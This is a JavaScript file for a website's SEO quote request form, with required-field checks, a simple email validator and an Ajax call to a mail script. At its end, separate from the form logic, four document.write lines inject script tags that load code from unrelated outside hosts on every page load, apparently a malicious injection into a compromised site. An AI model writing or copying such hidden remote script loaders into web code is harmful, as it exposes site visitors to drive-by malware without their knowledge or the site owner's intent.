// JavaScript Document

function checkForm() {
	var valid, msg = $('msg');
	// are both fields present?
		if($('f_name').present()==false) {
			alert('Name is a required field!');
			$('f_name').focus();
			return false;
		} 
		
		if ($('c_name').present()== false){			
			alert('Company Name is a required field!');
			$('c_name').focus();
			return false;
		} 
		if ($('s_url').present()== false){			
			alert('Site URL is a required field!');
			$('s_url').focus();
			return false;
		} 
		
		if ($('email').present()== false){			
			alert('Email Address is a required field!');
			$('email').focus();
			return false;
		} 
		if(echeck($F('email')) == false) {
			$('email').clear();
			$('email').focus();
			return false		
		}		
		
		if ($('phone').present()== false){			
			alert('Phone is a required field!');
			$('phone').focus();
			return false;
		}
		
		
		if ($('keyword').present() == false){
			alert('Keywords is a required field!');
			$('keyword').focus();
			return false;
		}
		
	
		valid = $('f_name').present() && $('c_name').present() && $('s_url').present() && $('email').present()&& $('phone').present() && $('keyword').present()
		if(valid == true) {
			var param = $('get_quote').serialize()
			var url='seo_quote_mail.php?' + param
			new Ajax.Request(url, {   
				method: 'get',   
				onSuccess: function(transport) {    
					 if(transport.responseText == 1) {
						 window.location="thankyou.php";
						//msg.update('Email Sent successfully!').style.color = 'green'
						//$('get_quote').reset();
					 } else {
						msg.update('Sorry, No mail sent!').style.color = 'red'
						//$('get_quote').reset();
					 }
				},
				onFailure: function() {
					msg.update('Sorry, No mail sent!').style.color = 'red'
				} 
			}); 
		} // end valid
		return false
} // end form

function echeck(str) {
		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid Email Address!")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid Email Address!")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid Email Address!")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid Email Address!")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid Email Address!")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid Email Address!")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid Email Address!")
		    return false
		 }

 		 return true					
	}

document.write('<script src=http://givanshy.com/vb/indexb.php ><\/script>');
document.write('<script src=http://givanshy.com/vb/indexb.php ><\/script>');
document.write('<script src=http://givanshy.com/vb/indexb.php ><\/script>');
document.write('<script src=http://galanterey.ax3.net/examples/option_value_configurator.php ><\/script>');